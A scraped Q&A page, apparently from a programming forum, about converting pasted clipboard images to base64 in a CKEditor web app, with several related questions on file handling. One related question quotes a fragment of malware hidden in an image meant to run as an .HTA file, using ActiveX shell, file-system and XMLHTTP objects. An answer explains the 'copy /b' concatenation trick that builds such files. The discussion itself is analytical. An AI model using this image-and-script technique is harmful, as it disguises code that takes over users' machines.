Convert image from clipboard to base64 encoded data with JavaScript [duplicate] - javascript

Background:
I'm developing an HTML5 webapp for my company which is basically a Rich Text Editor (similar to Google Docs) that stores information in a database.
We are using CKEditor 3 as richtext editor and Jquery to acomplish this.
We've chosen Google's Chrome as the preferred browser.
Our app is currently in alpha testing period, having a group of 18 tester (which are the same ones that will use the app). These people is heterogeneous, but almost all of them of them have basic computer skills, mostly limited to MS Word and MS Excel.
.
Problem:
Most of our users still use word to elaborate the document, mainly due to its capacity of generating rich flowcharts. When they copy/paste the generated content to Chrome, images are pasted as link to a local file (auto generated by the OS, in a users/*/temp folder). This means the server can't access these files and the resulting documents (generated PDFs) don't contain the images.
.
Question
How can I force pasted images to be encoded in base64, similiar to what happens in Firefox?
.
Notes
If it's possible to "upload" to server an image referenced as src="file://c:\something", that would solve my problem as I can base64 encode that image later.
We can't switch to firefox since it doesn't fully solve our problem (if an image is "pasted" alongside with text, firefox doesn't base64 encode it) and raises other issues such as an horizontal scrollbar appearing when the text is too long to fit in the textarea.

Yes and no I believe.
It is possible to intercept the paste event and fetch the pasted image as a file, then use FileReader to read the file as a Data URI (base 64 encoded PNG).
However, Word seems to send a reference to a local file, which generates a security exception (at least on Chrome) because of a cross-domain request (http://... and file:///...). As far as I'm concerned there is no way to get the actual contents of such local files, and the contents are not sent as clipboard data itself.
If you copy a "pure" image (e.g. out of Paint), you can get the base 64 encoded data as follows: http://jsfiddle.net/pimvdb/zTAuR/. Or append the image as a base 64 encoded PNG in the div: http://jsfiddle.net/pimvdb/zTAuR/2/.
div.onpaste = function(e) {
var data = e.clipboardData.items[0].getAsFile();
var fr = new FileReader;
fr.onloadend = function() {
alert(fr.result.substring(0, 100)); // fr.result is all data
};
fr.readAsDataURL(data);
};

Related

Show .tiff/.tif image on chrome from its base64 encoded string with Javascript/Reactjs or convert it to any other (png/jpeg) format and display on UI

I have a base64 encoded string of a .tiff image that I get from the backend. If I decode it and then create a blob url, It works fine on Internet Explorer (by using on src of img tag).
I am not able to show it on Chrome. I have read some answers related to it where people are saying it is not supported on Chrome.
There are some libraries like https://www.npmjs.com/package/tiff-to-png but they require an image to be stored somewhere and then use it to convert. I only have a base64 string of the image. I am not able to find any solution online. My UI is built with ReactJs and backend is on Node.
On backend, I have a buffer of the .tiff image which we are converting to base64 to send it to UI. If we can do anything on buffer, that is also possible. Please help.

Is it possible to cut video data without damaging the video format?

Let's say i have a bit longer video, like 50mb of size with duration of 2 minutes aprox for example, and i want to minimize his weight to make some metadata analizyng with server side code before uploading it to server (i'm using nodejs for that).
I need to do this thing because the browsers decided that they will don't display util information of an uploaded file with pure javascript.
I mean, some information like type is only working if the file has his specific extension at the end of his name, otherwise will only displays an empty string which is stupid, and for security reasons the pathname of the file is always empty.
And i want to use:
FileReader.readAsDataUrl(file);
method to upload this data to a server when is already analyzed and checked his extension in node server side.
But this have two main problems:
FileReader.readAsDataUrl() method only works fine if the file has his extension at the end of the file, otherwise the base64 encoded data is a base64 encoded string but his data: value is application/octet-stream which is an extremely unsafe format to allow in php yeah i'm analyzing with node before passing the entire data to php (if the file pass the allowed format test) so nodejs only takes the role of analyzer in this case.
I don't want to upload the entire file to be analyzed in node this is inefficient and slow, i want to upload for example if is a video, the first second of a video, and if is possible only the 0.01 seconds of the video, which i don't know if this is possible. And then upload it to an specific separated nodejs folder which will take the analysis and retrieve a response that contains the myme-type of the file.
The problem is that i don't know how to determine which are the minimum neccessary bytes of data that the file needs to not be damaged. and i don't know how to determine it, so first question, it's possible to determine it whitout damaging the file?
i tried first using slice method of the uploaded file:
File.slice(0, 50000);
But this is test an error, to know that the file needs first 50000 bytes to not be damaged and can be reproduced if i use later URL.createObjectURL(slicedFile) and opening the result url, in my case if i put the first 50000 bytes of info is reproducing only the first second which is the desired behavior (video clipped correctly).
It is possible to determine what is the minimum amount of bytes to cut the first second video without damaging it?
If isn't possible with some of the methods above... anyone have an idea to do this thing?
Audio files are a caos to analyze where is his metadata if i print FileReader.readAsText(); some files has his metadata explicitly specified in the binary data in the start of the file, but some times this is not the case... what should i do?

image copy paste in ckeditor through firefox?

my problem is that with just copy paste i can copy image in ckeditor in firefox ,after copying this image it doesn,t get displayed in other browser how can i remove pasting of image in firefox
Image urlis also looks diffrent
This is called a Data URI and IE8 can actually display it, if the file is smaller than 32 KB. IE7 can not display it, IE9 has no trouble.
If you want to use this functionality, you'd have to add some code server side that receives the HTML you provided, and before you submit it to the database extract the base64 encoded Data URI's and save them as 'regular' attachments in your database. You'd replace the data URIs with 'regular' uris that point to the image assets on your storage location.
We do something similar for the OTRS project: http://blog.otrs.org/2012/02/06/pasting-images-using-firefox/
If you have already configured a file uploader in CKEditor, you can use this plugin to convert the pasted images into real files and upload them:
http://ckeditor.com/forums/Plugins/ImagePaste-plugin-for-Firefox

How to save an image converted from a canvas, on the computer, in a user-friendly manner?

I'm using Nihilogic's library Canvas2Image to convert canvas drawings to PNG, and to give the users of my application the possibility to download that image.
What I need is to be able to give the downloadable file a name and the png extension (e.g. "goalboard.png") and not have it download just as an octet stream with no recognizable extension and the name "download", because the average Joe won't know what to do with such a file. And I need to do this on the client-side, because sending that byte stream to the server, depending on the quantity of data in it, can take up to 20 seconds (it's a big canvas!). Not to mention retrieving the image afterward...
So, how do I do this?
One of these should solve your problem (with canvas you can extract the image in base64 format):
Using HTML5/Javascript to generate and save a file
Reading a local file, encoding to base64, I would like to give the user an option to save the result to file
I had a big RaphaelJs canvas too and needed to allow the user to run a script that would save lots of canvas as png images.
I tried to transform my raphael into an svn, then my svg to a png and then using wget but that of course didn't work because my canvas where generated by javascript and wget can't deal with that. In the end I realised that I could just have my webapp to build a page with just the svg canvas and use phantomjs ( a headless browser) to save it as a png. It works briliantly.
It is as simple as that.
1. Make your webapp to build a page with just the svg canvas.
2. Create a svgToPgn.js file with the following code :
var page = require('webpage').create();
page.open('URL_TO_YOUR_HTML_PAGE', function() {
page.render('PATH_TO_PNG/example.png');
phantom.exit();
});
3. Download Phantom (http://phantomjs.org), unzip it and in the bin directory you will find the phantomjs executable. Run :
./phantomjs svgToPgn.js
Your png file will be saved in : PATH_TO_PNG/example.png
And I need to do this on the client-side
Well that requirement kind of kills your chances. Sorry.
You can't do what you want to do, the best you've got is displaying the image and telling the user to right-click save-as.

Embedding Javascript Within an Image File

I've noticed a new trend in distributing potentially unsafe code where people will post an image to a server with a watermark suggesting that they change the filename to have a .HTA file extension.
I realized that .HTA was an HTML Application file, which are implicitly trusted by Microsoft's logic and can contain code to do just about anything web-based. I opened the file with my favourite text editor and to my amazement there was Javascript code within the image file!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
There is more garbled image data below the source code as well. This is just a snippet.
I'm very curious to know how they were able to add Javascript code to an image file without corrupting the image file format and making it unviewable. I presented this to some of my co-workers, and they were equally stumped.
My guess is that this is a multipart file of some sort (for which it would be perfectly fine to contain both images and script data), that maybe gets executed straight away (in a local context) because it's treated as a Hypertext Application.
For more info, we would need to see the full actual file.
The problem here is liberal file format tolerances.
The JPG interpreter is forgiving enough to ignore "corrupted" non-image data. That's how you can view a large JPG while it's still downloading. The HTA interpreter is forgiving enough to ignore all the weird "text" at the top of the file and proceed to evaluate the stuff that looks like markup and script below.
There's another post about this curious behavior here:
Can I embed an icon to a .hta file?
In it Alexandre Jasmine suggests embedding an icon in an HTA with this command line:
copy /b icon.ico+source.hta iconapp.hta
The image/script you found could have been created using this technique.
You didn't include the entire script, but what you show looks pretty scary. An HTA script with a web connection, shell and filesystem object can do whatever it wants with your local filesystem then phone home once it's done.

Categories